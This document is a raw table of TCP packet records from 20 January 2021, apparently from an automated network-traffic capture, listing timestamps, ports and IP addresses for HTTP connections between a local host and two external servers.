Jan 20, 2021 16:13:17.461951017 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.461957932 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461982012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.461988926 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462006092 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462021112 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462035894 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462035894 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462048054 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462053061 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462065935 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462078094 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462080002 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462106943 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462110043 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462135077 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462151051 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462166071 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462167025 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462178946 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462182999 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462193966 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462198019 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462209940 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462222099 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462233067 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462244034 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462255955 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462266922 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462297916 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462311029 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462330103 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462332964 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462346077 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462348938 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462362051 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462372065 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462376118 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462388992 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462416887 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462423086 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462446928 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462447882 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462469101 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462479115 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462495089 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462501049 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462521076 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462527990 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462536097 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462552071 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462553024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462563992 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462567091 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462579966 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462583065 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462599039 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462599039 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462614059 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462618113 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462629080 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462635040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462651014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462651014 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462662935 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462666035 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462677002 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462682009 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462690115 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462697029 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462713003 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462728024 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462728024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462739944 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462745905 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462763071 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462769032 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462784052 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462800026 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462802887 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462815046 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462816000 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462827921 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462830067 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462841988 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462846041 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462858915 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462862015 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462877989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462881088 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462892056 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462898016 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462904930 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462913036 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462929964 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462944984 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462946892 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462960005 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462960005 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462973118 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462975979 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.462987900 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.462990999 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463010073 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463017941 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463027000 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463035107 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463042974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463051081 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463059902 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463067055 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463076115 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463083029 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463089943 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463097095 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463105917 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463113070 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463121891 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463129997 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463140965 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463141918 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463155031 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463159084 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463170052 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463174105 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463186026 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463188887 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463200092 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463205099 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463221073 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463221073 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463232994 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463243961 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463248014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463254929 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463263988 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463270903 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463279963 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463284016 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463294983 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463298082 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463310003 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463314056 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463325977 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463329077 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463345051 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463346004 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463361979 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463371992 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463387012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463407040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463411093 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463416100 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463423967 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463424921 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463440895 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463440895 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463453054 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463464975 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463474989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463480949 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463491917 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463496923 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463498116 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463500023 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463514090 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463515043 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463527918 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463531017 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463542938 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463546991 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463566065 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463567972 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463591099 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463599920 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463608980 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.463623047 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.463638067 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.464287996 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.469619989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622203112 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622240067 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622275114 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622301102 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622317076 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622349024 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622371912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622399092 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622416973 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622442007 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622478962 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622508049 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622517109 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622545958 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622555017 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622558117 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622560024 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622562885 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622581005 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622590065 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622611046 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622613907 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622618914 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622621059 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622623920 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622626066 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622627974 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622632027 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622656107 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622672081 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622674942 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622678995 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622685909 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622688055 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622704983 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622720957 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622740030 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622754097 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622757912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622770071 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622775078 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622775078 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622777939 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622791052 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622807980 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622823954 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622838974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622842073 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622857094 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622857094 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622876883 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622879982 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622894049 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622894049 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622909069 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622910976 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622936964 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622944117 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622956038 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622961998 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622965097 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622966051 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622967958 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622981071 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622981071 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.622984886 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622996092 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.622999907 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623001099 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623018980 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623020887 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623037100 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623044014 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623054028 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623064995 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623068094 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623070002 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623083115 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623086929 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623099089 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623106003 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.623114109 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623131037 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.623138905 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.780746937 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780791998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780823946 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780854940 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780894041 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780929089 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.780961990 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781002998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781049013 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781074047 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781084061 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781095028 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781116009 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781141043 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781152010 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781164885 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781181097 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781184912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781205893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781227112 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781244040 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781246901 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781267881 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781289101 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781313896 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781337023 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781358004 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781378984 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781413078 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781431913 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781455994 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781478882 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781498909 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781519890 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781541109 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781562090 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781575918 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781582117 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781603098 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781627893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781641006 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781651020 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.781685114 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781693935 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781704903 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781744957 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781774044 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781816959 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781831980 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781836987 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781842947 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781853914 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781864882 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781872988 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781883001 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781892061 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781900883 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781909943 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781920910 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781929970 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781939030 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.781950951 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782006025 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782012939 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782021999 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782032013 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782044888 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782052994 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782062054 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782068968 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782079935 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.782115936 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:22.460257053 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:22.460403919 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:23.562520027 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:13:23.735713005 CET	80	49166	103.11.153.223	192.168.2.22
